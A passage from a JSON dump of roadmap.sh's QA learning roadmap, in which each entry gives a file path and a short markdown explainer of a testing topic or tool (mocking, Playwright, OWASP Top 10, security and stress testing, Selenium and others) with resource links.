    "content": "# Mobile Automation\n\nMobile automation, as the name suggests, refers to 'automation' that is done on mobile devices. Mobile Automation can test a WAP site or an app. As we know, mobile devices consist of hardware and software components, while a mobile application is simply the software. Testing the mobile device is also connected to evaluating the hardware component and the software part.\n\nVisit the following resources to learn more:\n\n- [@article@Mobile Automation Testing Steps and Process](https://u-tor.com/topic/mobile-automation-steps)\n- [@feed@Explore top posts about Automation](https://app.daily.dev/tags/automation?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/mocking@Rj7bQRZZ5CGVO_b1Wwy8X.md",
    "content": "# Mocking\n\nMocking is a testing technique where you replace real dependencies (like databases, APIs, or other services) with simulated objects that mimic their behavior. This allows you to isolate the code you're testing and verify that it interacts correctly with those dependencies, without actually relying on them being available or behaving predictably.\n\nVisit the following resources to learn more:\n\n- [@article@Software Testing: Mock Testing](https://medium.com/@david.christianto05/software-testing-mock-testing-76f572b58936)\n- [@article@Mocking in Unit Tests](https://microsoft.github.io/code-with-engineering-playbook/automated-testing/unit-testing/mocking/)\n- [@article@Mocking in tests](https://nodejs.org/en/learn/test-runner/mocking#mocking-in-tests)\n- [@video@What is Mocking? - Concepts and Best Practices - Software Testing Series #2](https://www.youtube.com/watch?v=-VOfK5-FScI)"
  },
  {
    "path": "src/data/roadmaps/qa/content/monitoring--logs@pJvijtG-a0vOq16EFu3Gr.md",
    "content": "# Monitoring and Logs\n\nDevOps monitoring entails overseeing the entire development process from planning, development, integration and testing, deployment, and operations. It involves a complete and real-time view of the status of applications, services, and infrastructure in the production environment. Features such as real-time streaming, historical replay, and visualizations are critical components of application and service monitoring.\n\nVisit the following resources to learn more:\n\n- [@article@Two Pillars of Modern QA - Errors and Logs](https://medium.com/@mohsenny/the-two-pillars-of-modern-qa-from-error-prevention-to-post-release-monitoring-4c11cc99fe14)"
  },
  {
    "path": "src/data/roadmaps/qa/content/new-relic@QnNUZQlQ2Jhv34daeIuW8.md",
    "content": "# New Relic\n\nNew Relic is an observability platform that helps you build better software. You can bring in data from any digital source so that you can fully understand your system and how to improve it.\n\nVisit the following resources to learn more:\n\n- [@official@New Relic](https://newrelic.com/)\n- [@official@Learn New Relic](https://learn.newrelic.com/)\n- [@feed@Explore top posts about DevOps](https://app.daily.dev/tags/devops?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/nightwatch@Ta1leBdu-Y9LryB-0U-CT.md",
    "content": "# Nightwatch\n\nNightwatch.js is an open-source automated testing framework that is powered by Node.js and provides complete E2E (end to end) solutions to automation testing with Selenium Javascript be it for web apps, browser apps, and websites.\n\nVisit the following resources to learn more:\n\n- [@official@Nightwatch.js Website](https://nightwatchjs.org/)\n- [@article@NightwatchJS Tutorial: Get Started with Automation Testing](https://www.browserstack.com/guide/nightwatch-framework-tutorial)"
  },
  {
    "path": "src/data/roadmaps/qa/content/non-functional-testing@vYIEsjTKoO1ciypGIDlil.md",
    "content": "# Non-Functional Testing\n\nNon-functional testing is a type of software testing to test non-functional parameters such as reliability, load test, performance, and accountability of the software. The primary purpose of non-functional testing is to test the reading speed of the software system as per non-functional parameters. The parameters of non-functional testing are never tested before the functional testing.\n\nVisit the following resources to learn more:\n\n- [@article@What is Non Functional Testing](https://www.browserstack.com/guide/what-is-non-functional-testing)\n- [@article@Types of Non Functional Testing](https://www.guru99.com/non-functional-testing.html)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/owasp-10@JR-MkszNvv96-S3DpyLeX.md",
    "content": "# OWASP 10\n\nThe Open Web Application Security Project, or OWASP, is an international non-profit organization dedicated to web application security.\n\nThe OWASP Top 10 is a regularly-updated report outlining security concerns for web application security, focusing on the 10 most critical risks. The report is put together by a team of security experts from all over the world. OWASP refers to the Top 10 as an ‘awareness document’ and they recommend that all companies incorporate the report into their processes in order to minimize and/or mitigate security risks.\n\nVisit the following resources to learn more:\n\n- [@official@OWASP Top 10](https://owasp.org/www-project-top-ten/)\n- [@article@What is the OWASP Top 10?](https://www.cloudflare.com/learning/security/threats/owasp-top-10/)"
  },
  {
    "path": "src/data/roadmaps/qa/content/pager-duty@DJDegO78Elo83eHjq8IHN.md",
    "content": "# PagerDuty\n\nThrough its SaaS-based platform, PagerDuty empowers developers, DevOps, IT operations and business leaders to prevent and resolve business-impacting incidents for exceptional customer experience. When revenue and brand reputation depends on customer satisfaction, PagerDuty arms organizations with the insight to proactively manage events that may impact customers across their IT environment. With hundreds of native integrations, on-call scheduling and escalations, machine learning, business-wide response orchestration, analytics, and much more, PagerDuty gets the right data in the hands of the right people in real time, every time.\n\nVisit the following resources to learn more:\n\n- [@official@PagerDuty Website](https://www.pagerduty.com/)\n- [@article@Learn PagerDuty](https://university.pagerduty.com/)"
  },
  {
    "path": "src/data/roadmaps/qa/content/performance-testing@bapKhjye4oWQxTEZ4fl_c.md",
    "content": "# Performance Testing\n\nPerformance Testing is a subset of Performance Engineering. It is a process of evaluating a system’s behavior under various extreme conditions. The main intent of performance testing is monitoring and improving key performance indicators such as response time, throughput, memory, CPU utilization, and more.\n\nThere are three objectives (three S) of Performance testing to observe and evaluate: `Speed`, `Scalability`, and `Stability`.\n\nTypes of Performance Testing\n----------------------------\n\nFollowing are the commonly used performance testing types, but not limited to:\n\n*   Load Testing\n*   Stress Testing\n*   Spike Testing\n*   Endurance Testing\n*   Volume Testing\n*   Scalability Testing\n*   Capacity Testing\n\nVisit the following resources to learn more:\n\n- [@article@Performance Testing Tutorial – Types (Example)](https://www.guru99.com/performance-testing.html)\n- [@feed@Explore top posts about Performance](https://app.daily.dev/tags/performance?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/playwright@0TUq4KRbWTLsLuYI9sgi0.md",
    "content": "# Playwright\n\nPlaywright is an open-source test automation library initially developed by Microsoft contributors. It supports programming languages such as Java, Python, C#, and NodeJS. Playwright comes with Apache 2.0 License and is most popular with NodeJS with Javascript/Typescript.\n\nVisit the following resources to learn more:\n\n- [@official@Playwright Website](https://playwright.dev/)\n- [@article@Playwright Tutorial: Learn Basics and Setup](https://www.browserstack.com/guide/playwright-tutorial)"
  },
  {
    "path": "src/data/roadmaps/qa/content/playwright@CHqfXjRRdS_c6XMnfVVx-.md",
    "content": "# Playwright\n\nPlaywright Test was created specifically to accommodate the needs of end-to-end testing. Playwright supports all modern rendering engines including Chromium, WebKit, and Firefox. Test on Windows, Linux, and macOS, locally or on CI, headless or headed with native mobile emulation of Google Chrome for Android and Mobile Safari.Playwright leverages the DevTools protocol to write powerful, stable automated tests.Playwright can actually see into and control the browser rather than relying on a middle translation layer, it allows for the simulation of more insightful and relevant user scenarios.\n\nVisit the following resources to learn more:\n\n- [@official@Playwright](https://playwright.dev/)\n- [@article@Playwright Tutorial: Learn Basics and Setup](https://www.browserstack.com/guide/playwright-tutorial)"
  },
  {
    "path": "src/data/roadmaps/qa/content/playwright@ZKOU7dWcrkKzTdt0wxwuO.md",
    "content": "# Playwright\n\nPlaywright is an open-source library for automating web browsers built by Microsoft, similar to Selenium, it's commonly used for testing web applications. It's built on top of the .NET Core runtime and it provides bindings for C#, it allows developers to write tests for web applications in C# or other .NET languages. Playwright is designed to be fast and reliable and allows developers to run tests in multiple browsers.\n\nVisit the following resources to learn more:\n\n- [@opensource@Playwright for .NET](https://github.com/microsoft/playwright-dotnet)\n- [@article@How to test Apps with Playwright and .NETs](https://www.twilio.com/blog/test-web-apps-with-playwright-and-csharp-dotnet)\n- [@article@End-to-End Tests With ASP.NET and Playwright](https://khalidabuhakmeh.com/end-to-end-test-with-aspnet-core-xunit-and-playwright)"
  },
  {
    "path": "src/data/roadmaps/qa/content/postman--newman@X_nLwzc1QmShivEjfy6v9.md",
    "content": "# Newman\n\nPostman is an API platform for building and using APIs. Postman simplifies each step of the API lifecycle and streamlines collaboration so you can create better APIs—faster. It is an API client that makes it easy for developers to create, share, test, and document APIs. With this open-source solution, users can create and save simple and complex HTTP/s requests and read their responses.\n\nNewman is a command-line Collection Runner for Postman. It enables you to run and test a Postman Collection directly from the command line. It's built with extensibility to integrate it with your continuous integration servers and build systems.\n\nVisit the following resources to learn more:\n\n- [@official@Postman](https://www.postman.com)\n- [@article@Learn Postman](https://learning.postman.com/docs/getting-started/introduction/)\n- [@article@Newman CLI](https://learning.postman.com/docs/running-collections/using-newman-cli/command-line-integration-with-newman/)\n- [@video@API Testing with Postman](https://www.youtube.com/watch?v=VywxIQ2ZXw4)\n- [@feed@Explore top posts about Postman](https://app.daily.dev/tags/postman?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/project-management@ZqgeqqZTGA-y7jVNyPCt4.md",
    "content": "# Project Management\n\nA project is a temporary endeavor to create a unique product, service, or result. A project is temporary because it has a defined beginning and end time, and it is unique because it has a particular set of operations designed to accomplish a goal.\n\nProject Management is a discipline of planning, organizing, motivating, and controlling the resources to achieve specific project goals. The main objective of project management is to achieve project goals and targets while keeping in mind the project scope, time, quality, and cost. It facilitates the project workflow with team collaboration on a single project.\n\nVisit the following resources to learn more:\n\n- [@article@What are the Main Objectives of Project Management?](https://www.guru99.com/introduction-project-management-pmp-certification.html)\n- [@article@Project Management in Software Testing](https://huddle.eurostarsoftwaretesting.com/project-management-in-software-testing/)\n- [@article@Project Management Life Cycle Phases: What are the stages?](https://www.guru99.com/initiation-phase-project-management-life-cycle.html)\n- [@feed@Explore top posts about Project Management](https://app.daily.dev/tags/project-management?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/puppeteer@YKHlLKIlL-Y4ZtHTLfApu.md",
    "content": "# Puppeteer\n\nPuppeteer is a Node library which provides a high-level API to control headless Chrome or Chromium over the DevTools Protocol. It can also be configured to use full (non-headless) Chrome or Chromium.\n\nVisit the following resources to learn more:\n\n- [@official@Puppetter](https://developer.chrome.com/docs/puppeteer/)\n- [@feed@Explore top posts about Crawling](https://app.daily.dev/tags/crawling?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/puppeteer@sHyFCf7XQKxGxchaYxp2B.md",
    "content": "# Puppeteer\n\nPuppeteer is a Node library that provides a high-level API to control headless Chrome or Chromium browsers over the DevTools Protocol. It can also be configured to use full (non-headless) Chrome or Chromium.\n\nVisit the following resources to learn more:\n\n- [@official@Puppeteer](https://pptr.dev/)\n- [@feed@Explore top posts about Crawling](https://app.daily.dev/tags/crawling?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/qa-mindset@vZv4Ow5bg_PbKoF557G9S.md",
    "content": "# QA Mindset\n\nAs a Quality Assurance Engineer, your primary responsibility is to nurture a proactive, quality-centric, and holistic mindset throughout the organization. This involves promoting the understanding that quality is not solely the responsibility of the QA chapter, or achieved through manual testing alone, but rather a shared commitment that requires collaboration from all team members. Quality should be seamlessly integrated into every phase of the software development lifecycle, from requirements gathering to deployment and maintenance. Your role is to take initiative, provide guidance, and lead the company in adopting best practices and methodologies that prioritize quality. By educating and empowering your colleagues, you can foster a culture where everyone understands the significance of delivering high-quality products and is equipped with the knowledge and tools to contribute effectively to this goal.\n\nA few important points:\n\n*   Foster a quality-centric mindset and promote shared responsibility for quality across the organization\n*   Integrate quality processes into every phase of the software development lifecycle and encourage collaboration among team members\n*   Take initiative, provide guidance, and lead the company in adopting best practices for ensuring high-quality products\n*   Implement and maintain robust automation frameworks to enhance testing efficiency, coverage, and reliability\n*   Continuously improve quality processes, stay updated with industry trends, and advocate for the importance of quality in driving customer satisfaction and business success\n*   Think outside the box, ask questions, explore edge cases, and don't be afraid to misuse the product to uncover potential issues\n*   Foster open communication, transparency, and a proactive approach to identifying and mitigating quality risks early in the development process\n\nVisit the following resources to learn more:\n\n- [@article@The Software Tester’s Mindset](https://softwaretester.careers/the-software-testers-mindset/)\n- [@article@Skills QA needs](https://theqalead.com/careers/quality-assurance-skills/)\n- [@article@How to Think Like a Tester](https://medium.com/@blakenorrish/how-to-think-like-a-tester-7a174ff6aeaf)\n- [@article@ISTQB® Foundation Level Syllabus 2024 - v4.0](https://astqb.org/assets/documents/ISTQB_CTFL_Syllabus-v4.0.pdf)"
  },
  {
    "path": "src/data/roadmaps/qa/content/qa-wolf@414xO4PX9rU0f39aC7awu.md",
    "content": "# QA Wolf\n\nQA Wolf is a hybrid platform & service that helps software teams ship better software faster by taking QA completely off their plate.\n\nVisit the following resources to learn more:\n\n- [@official@QA Wolf](https://www.qawolf.com/)\n- [@official@QA Wolf Docs](https://app.qawolf.com/docs/why-qa-wolf)\n- [@article@Getting started with QA Wolf](https://app.qawolf.com/docs/create-a-test)\n- [@video@QA Wolf Tutorial](https://www.youtube.com/watch?v=BRxVu0De-4k&list=PL33T95M59Kkg1zKCU5NHc2g2XYXOs3-DU)\n- [@feed@Explore top posts about QA](https://app.daily.dev/tags/qa?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/qtest@FE_Wp2RPWFDHNaQIBLqH6.md",
    "content": "# QTest\n\nqTest is a test management tool used for Project Management, Bug Tracking, and Test Management. It follows the centralized test management concept that helps to communicate easily and assists in rapid development of task across QA team and other stakeholders.\n\nVisit the following resources to learn more:\n\n- [@article@QTest Tutorial](https://www.tutorialspoint.com/qtest/qtest_introduction.htm)\n- [@video@Getting Started with qTest and Parameters](https://www.youtube.com/watch?v=1q8vQ2XF9QE)"
  },
  {
    "path": "src/data/roadmaps/qa/content/rca@BnZDIWW4rl_N1BhWhhTpO.md",
    "content": "# Root Cause Analysis\n\nRoot Cause Analysis (RCA) is a systematic problem-solving method that aims to identify the fundamental reasons behind an issue or event. It goes beyond addressing the immediate symptoms to uncover the core factors that led to the problem, to prevent recurrence. By understanding the underlying causes, effective solutions can be implemented to eliminate or mitigate the risk of similar issues happening again.\n\nVisit the following resources to learn more:\n\n- [@article@What is root cause analysis (RCA) in software development?](https://www.elastic.co/what-is/root-cause-analysis)\n- [@video@What is Root Cause Analysis (RCA)?](https://www.youtube.com/watch?v=7t3lTYEd_PM)"
  },
  {
    "path": "src/data/roadmaps/qa/content/regression-testing@XCeXiKvBblmDArfbWjDvw.md",
    "content": "# Regression Testing\n\nRegression Testing is a type of software testing to confirm that a recent program or code change has not adversely affected existing features. Regression testing is a black box testing technique. Test cases are re-executed to check the previous functionality of the application is working fine and that the new changes have not produced any bugs.\n\nVisit the following resources to learn more:\n\n- [@article@What is Regression Testing?](https://www.guru99.com/regression-testing.html)\n- [@article@What is Regression Testing? Definition, Tools and Examples](https://katalon.com/resources-center/blog/regression-testing)\n- [@video@What is Regression Testing? A Software Testing FAQ - Why? How? When?](https://www.youtube.com/watch?v=xmQuLTarGI4)"
  },
  {
    "path": "src/data/roadmaps/qa/content/repo-hosting-services@XoYsStVqfMeCHkGBlbRhD.md",
    "content": "# Repo Hosting Services\n\nThere are different repository hosting services with the most famous one being GitHub, GitLab and BitBucket. I would recommend creating an account on GitHub because that is where most of the OpenSource work is done and most of the developers are.\n\nVisit the following resources to learn more:\n\n- [@opensource@GitHub: Where the world builds software](https://github.com)\n- [@opensource@GitLab: Iterate faster, innovate together](https://gitlab.com)\n- [@article@BitBucket: The Git solution for professional teams](https://bitbucket.com)\n- [@feed@Explore top posts about QA](https://app.daily.dev/tags/qa?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/reporting@MyAAsHteSr4JCPEpqjsy9.md",
    "content": "# QA reporting\n\nThe International Software Testing Qualifications Board (ISTQB) glossary defines a QA report as: _Documentation summarizing test activities and results_. By documenting the testing that was conducted and the results that were achieved, QA reports provide valuable insight into the health of the code base and critical metrics. As such, they should be generated on a regular basis to ensure the quality standards are being met. So basically, test reports should document all of the test cases that were performed during software testing, as well as the results of those tests. They should also deliver relevant information about the product and highlight any areas where improvements can be made.\n\nVisit the following resources to learn more:\n\n- [@article@How do you write a QA report?](https://www.netguru.com/blog/how-to-write-qa-report)\n- [@article@How To Write QA Test Summary Report? [13 Easy Steps]](https://www.qatouch.com/blog/how-to-write-qa-test-summary-report/)\n- [@feed@Explore top posts about QA](https://app.daily.dev/tags/qa?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/responsive-vs-adaptive@6cGPxfJ9ipij40hnmckxV.md",
    "content": "# Responsive vs adaptive\n\nThere are two approaches to ensuring a website is optimized for mobile, tablet, laptop and PC screens: responsive design and adaptive design. While both are intended to solve the same problem, they use different strategies.\n\nWhat is responsive design?\n==========================\n\nA website created with responsive design serves up the same site to every device, but that site is fluid and will change its layout and appearance based on the size and orientation of the device.\n\nDevelopers use CSS to ensure each page of the site can reformat based on the size of the user's viewport and only need to create one codebase for the site. They use something called breakpoints to tell the site when to adjust to accommodate different screen sizes.\n\nThe majority of new sites now use responsive, which has been made easier for less experienced designers and developers, thanks to the availability of themes accessible through CMS systems such as WordPress, Joomla, and Drupal.\n\nResponsive design does not offer as much control as adaptive, but takes much less work to both build and maintain. Responsive layouts are also fluid, and whilst adaptive can and do use percentages to give a more fluid feel when scaling, these can again cause a jump when a window is resized.\n\nWhat is adaptive design?\n========================\n\nIn adaptive design, a different website layout is created for each device's screen. As it loads, the site recognizes the size of the screen and serves up the layout that was made for that viewport. In fact, you can create a different user experience for each of six common screen sizes from very small to very large: 320px, 480px, 760px, 960px, 1200px and 1600px.\n\nAdaptive is useful for retrofitting an existing site in order to make it more suitable for mobile phones. This allows you to take control of the design and web development for specific, multiple viewports. The number of viewports that you choose to design for is entirely up to you, your company, and your overall budget. It does, however, afford you a certain amount of control (for example over content and layout) that you will not necessarily have using responsive design."
  },
  {
    "path": "src/data/roadmaps/qa/content/rest-assured@gECIgOii7C5MzilSbQP9t.md",
    "content": "# REST Assured\n\nRest-assured helps developers and test engineers to test REST APIs in Java ease by using techniques used in dynamic languages such as Groovy and Ruby.\n\nVisit the following resources to learn more:\n\n- [@official@REST-assured Website](https://rest-assured.io)\n- [@article@REST Assured Tutorial: How to test API with Example](https://www.guru99.com/rest-assured.html)\n- [@feed@Explore top posts about REST API](https://app.daily.dev/tags/rest-api?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/robot@nf76o_NYm0-pSIVBFm7IH.md",
    "content": "# Robot framework\n\nRobot Framework is a Python-based, extensible keyword-driven automation framework for acceptance testing, acceptance test driven development (ATDD), behavior driven development (BDD) and robotic process automation (RPA).\n\nRobot Framework is open and extensible. Robot Framework can be integrated with virtually any other tool to create powerful and flexible automation solutions.\n\nVisit the following resources to learn more:\n\n- [@official@Robot Framework Official Website](https://robotframework.org/)\n- [@official@Robot Framework Official User Guide](https://robotframework.org/robotframework/latest/RobotFrameworkUserGuide.html)\n- [@article@Basic Step-by-step Robot Framework tutorial](https://medium.com/swlh/robot-framework-the-basics-dfeadc025bea)"
  },
  {
    "path": "src/data/roadmaps/qa/content/runscope@iceaqeXRYXoGtagWn_B7b.md",
    "content": "# Run scope\n\nA Simple Tool for Monitoring Complex APIs. Verify that the structure and content of your API calls meets your expectations. Powerful and flexible assertions give you total control over defining a successful API call.\n\nCreate simple monitors with dynamic data for even the most complex use cases. More than simple string matching, build API validations without any code and use them across local dev, staging and production environments.\n\nVisit the following resources to learn more:\n\n- [@official@Runscope](https://www.runscope.com)"
  },
  {
    "path": "src/data/roadmaps/qa/content/safe@Tdj051ANlwwpo03X1hjbF.md",
    "content": "# SAFe\n\nScaled Agile Framework (SAFe) is a freely available online knowledge base that allows you to apply lean-agile practices at the enterprise level. It provides a simple and lightweight experience for software development. It is a set of organizations and workflow patterns intended to guide enterprises for scaling lean and agile practices. It is divided into three segments which are Team, Program and Portfolio.\n\nVisit the following resources to learn more:\n\n- [@article@SAFe (Scaled Agile Framework) Tutorial](https://www.guru99.com/scaled-agile-framework.html)"
  },
  {
    "path": "src/data/roadmaps/qa/content/sanity-testing@Lve3xpC1FU91TQqoDOYv7.md",
    "content": "# Sanity Testing\n\nSanity testing is a kind of Software Testing performed after receiving a software build, with minor changes in code, or functionality, to ascertain that the bugs have been fixed and no further issues are introduced due to these changes. The goal is to determine that the proposed functionality works roughly as expected. If sanity test fails, the build is rejected to save the time and costs involved in a more rigorous testing.\n\nVisit the following resources to learn more:\n\n- [@article@What is Sanity Testing?](https://www.browserstack.com/guide/sanity-testing#:~:text=Sanity%20Testing%20or%20Surface%20Level,working%20properly%20without%20any%20bugs.)"
  },
  {
    "path": "src/data/roadmaps/qa/content/scrum@k3xPwDzA1WUEAwJ6-Q8PW.md",
    "content": "# Scrum\n\nScrum in Software Testing is a methodology for building complex software applications. It provides easy solutions for executing complicated tasks. Scrum helps the development team to focus on all aspects of the software product development like quality, performance, usability, and so on. It provides with transparency, inspection and adaptation during the software development to avoid complexity.\n\nVisit the following resources to learn more:\n\n- [@article@Scrum Testing Methodology Tutorial](https://www.guru99.com/scrum-testing-beginner-guide.html)\n- [@article@Scrum - What is, How it works](https://www.atlassian.com/agile/scrum)\n- [@feed@Explore top posts about Scrum](https://app.daily.dev/tags/scrum?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/sdlc-delivery-model@Pb3QkhSCgRByJHuPxVAlU.md",
    "content": "# SDLC\n\nThe Software Development Life Cycle (SDLC) is a process followed for a software project, within a software organization. It consists of a detailed plan describing how to develop, maintain, replace and alter or enhance specific software. The life cycle defines a methodology for improving the quality of software and the overall development process.\n\nVisit the following resources to learn more:\n\n- [@article@QA Role In SDLC: Why Is Quality Assurance Important In IT](https://cadabra.studio/blog/why-is-quality-assurance-important-qa-role-in-sdlc/)\n- [@article@SDLC Overview](https://www.tutorialspoint.com/sdlc/sdlc_overview.htm)\n- [@feed@Explore top posts about QA](https://app.daily.dev/tags/qa?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/secrets-management@YV6ST78AH4J0i2Rw9zhZj.md",
    "content": "# Secrets Management\n\nSecrets Management is a systematic way of in managing, storing, securing, and retrieving credentials for any systems, database, and other services. Credentials such as passwords, SSH keys, certificates, API keys, backup codes, and more.\n\nVisit the following resources to learn more:\n\n- [@article@AWS Secrets Management Website](https://aws.amazon.com/secrets-manager/)\n- [@article@Vault Website](https://www.vaultproject.io/)\n- [@feed@Explore top posts about Secrets Management](https://app.daily.dev/tags/secrets-management?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/security-testing@MahtxMJD3ETHfgk_PQabQ.md",
    "content": "# Security Testing\n\nSecurity Testing is a type of Software Testing that uncovers vulnerabilities, threats, or risks in a software application and prevents malicious attacks from intruders. The purpose of Security Tests is to identify all possible loopholes and weaknesses of the software system which might result in a loss of information, revenue, repute at the hands of the employees or outsiders of the organization.\n\nVisit the following resources to learn more:\n\n- [@article@What is Security Testing? Types with Example](https://www.guru99.com/what-is-security-testing.html)\n- [@article@Security Testing: Types, Tools, and Best Practices](https://brightsec.com/blog/security-testing/)\n- [@feed@Explore top posts about Security](https://app.daily.dev/tags/security?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/security-testing@wsJXMvRbOTh_VXKhmhPmQ.md",
    "content": "# Security Testing\n\nSecurity testing is a process intended to reveal flaws in the security mechanisms of an information system that protect data and maintain functionality as intended. Due to the logical limitations of security testing, passing the security testing process is not an indication that no flaws exist or that the system adequately satisfies the security requirements.\n\nTypical security requirements may include specific elements of confidentiality, integrity, authentication, availability, authorization and non-repudiation. Actual security requirements tested depend on the security requirements implemented by the system. Security testing as a term has a number of different meanings and can be completed in a number of different ways. As such, a Security Taxonomy helps us to understand these different approaches and meanings by providing a base level to work from.\n\nVisit the following resources to learn more:\n\n- [@article@Security Testing Wiki](https://en.wikipedia.org/wiki/Security_testing)\n- [@feed@Explore top posts about Security](https://app.daily.dev/tags/security?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/selenium-ide@_3HfVT8IDlcgvUM4h6A0_.md",
    "content": "# Selenium IDE\n\nSelenium IDE is an open source web automation testing tool from the Selenium Suite used primarily for QA purposes. It functions as a Firefox extension and does not require any programming knowledge and test cases can be created simply by interacting with the browser.\n\nSelenium itself is an open-source, automated testing tool used to test web applications across various browsers. It's primarily built in Java and supports several browsers and programming languages. Selenium IDE was developed to speed up the creation of automation scripts. It’s a rapid prototyping tool and can be used by engineers with no programming knowledge whatsoever. Because of its simplicity, Selenium IDE is best used as a prototyping tool and not a complete solution for developing and maintaining complex test suites.\n\nVisit the following resources to learn more:\n\n- [@official@Selenium IDE](https://www.selenium.dev/selenium-ide/)\n- [@article@Selenium IDE Tutorial](https://www.softwaretestinghelp.com/selenium-ide-script-selenium-tutorial-3/)\n- [@feed@Explore top posts about Selenium](https://app.daily.dev/tags/selenium?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/selenium@s3HMrqNEVogftCIOZYO61.md",
    "content": "# Selenium\n\nSelenium is an open-source tool that automates web browsers. It provides a single interface that lets you write test scripts in programming languages like Ruby, Java, NodeJS, PHP, Perl, Python, and C#, among others.\n\nVisit the following resources to learn more:\n\n- [@official@Selenium](https://www.selenium.dev/)\n- [@article@Selenium Tutorial](https://www.browserstack.com/selenium)\n- [@feed@Explore top posts about Selenium](https://app.daily.dev/tags/selenium?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/sentry@H-2wWlKxD_Q1xVv99GlBj.md",
    "content": "# Sentry\n\nSentry tracks your software performance, measuring metrics like throughput and latency, and displaying the impact of errors across multiple systems. Sentry captures distributed traces consisting of transactions and spans, which measure individual services and individual operations within those services.\n\nVisit the following resources to learn more:\n\n- [@official@Sentry](https://sentry.io)\n- [@official@Sentry Documentation](https://docs.sentry.io/)"
  },
  {
    "path": "src/data/roadmaps/qa/content/smoke-testing@MVShii4LZiWW_gPTJzkty.md",
    "content": "# Smoke Testing\n\nSmoke Testing is a software testing process that determines whether the deployed software build is stable or not. Smoke testing is a confirmation for QA team to proceed with further software testing. It consists of a minimal set of tests run on each build to test software functionalities.\n\nVisit the following resources to learn more:\n\n- [@article@Smoke Testing | Software Testing](https://www.guru99.com/smoke-testing.html)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/soap-ui@eE9F3YviSpmgor6V5NMj5.md",
    "content": "# SoapUI\n\nSoapUI is the world's leading Functional Testing tool for SOAP and REST testing. With its easy-to-use graphical interface, and enterprise-class features, SoapUI allows you to easily and rapidly create and execute automated functional, regression, and load tests.\n\nVisit the following resources to learn more:\n\n- [@official@SoapUI](https://www.soapui.org/)\n- [@official@SoapUI Docs](https://www.soapui.org/getting-started/)"
  },
  {
    "path": "src/data/roadmaps/qa/content/stress-testing@skrOrieK1T0hHj_mJBNsW.md",
    "content": "# Stress Testing\n\n`Stress Testing` is a type of `Performance Testing`. The objective of stress testing is to identify the breaking point of application under test under extreme normal load.\n\ne.g. Injecting high volume of requests per second to an API might cause the disruption to its service, or throws HTTP 503 Service Unavailable or cause other consequences.\n\nVisit the following resources to learn more:\n\n- [@article@What is Stress Testing in Software Testing?](https://www.guru99.com/stress-testing-tutorial.html)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/swas-pwas-jamstack@_2IwBNhB5SqbPRxGhZyhq.md",
    "content": "# SWAs, PWAs and JAMstack\n\nSWAs\n----\n\nA Static Web Application is any web application that can be delivered directly to an end user's browser without any server-side alteration of the HTML, CSS, or JavaScript content. While this can encompass very flat, unchanging sites like a corporate web site, static web applications generally refer to rich sites that utilize technologies in the browser instead of on the server to deliver dynamic content.\n\nPWAs\n----\n\nAt their heart, Progressive Web Apps are just web applications. Using progressive enhancement, new capabilities are enabled in modern browsers. Using service workers and a web app manifest, your web application becomes reliable and installable. If the new capabilities aren't available, users still get the core experience.\n\nProgressive Web Apps provide you with a unique opportunity to deliver a web experience your users will love. Using the latest web features to bring enhanced capabilities and reliability, Progressive Web Apps allow what you build to be installed by anyone, anywhere, on any device with a single codebase.\n\nJamstack\n--------\n\nJamstack is an architectural approach that decouples the web experience layer from data and business logic, improving flexibility, scalability, performance, and maintainability. Jamstack removes the need for business logic to dictate the web experience. It enables a composable architecture for the web where custom logic and 3rd party services are consumed through APIs.\n\nVisit the following resources to learn more:\n\n- [@official@Jamstack](https://jamstack.org/)\n- [@article@SWA](https://www.staticapps.org/)\n- [@article@PWA](https://web.dev/progressive-web-apps/)\n- [@feed@Explore top posts about JAMstack](https://app.daily.dev/tags/jamstack?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/swifttesting@Q6eNkuRI6dPa9X44pwrea.md",
    "content": "# Swift Testing\n\nSwift testing involves writing code to automatically verify the functionality of Swift applications, especially those built for iOS, macOS, watchOS, and tvOS. This includes creating unit tests to check individual components, UI tests to simulate user interactions, and performance tests to ensure the app runs efficiently. The goal is to identify and fix bugs early in the development cycle, leading to more reliable and robust mobile applications.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Swift & SwiftUI Roadmap](https://roadmap.sh/swift-ui)\n- [@official@Swift Testing](https://developer.apple.com/documentation/testing)"
  },
  {
    "path": "src/data/roadmaps/qa/content/tdd@M78baCVYpsk7C6j-VPvPZ.md",
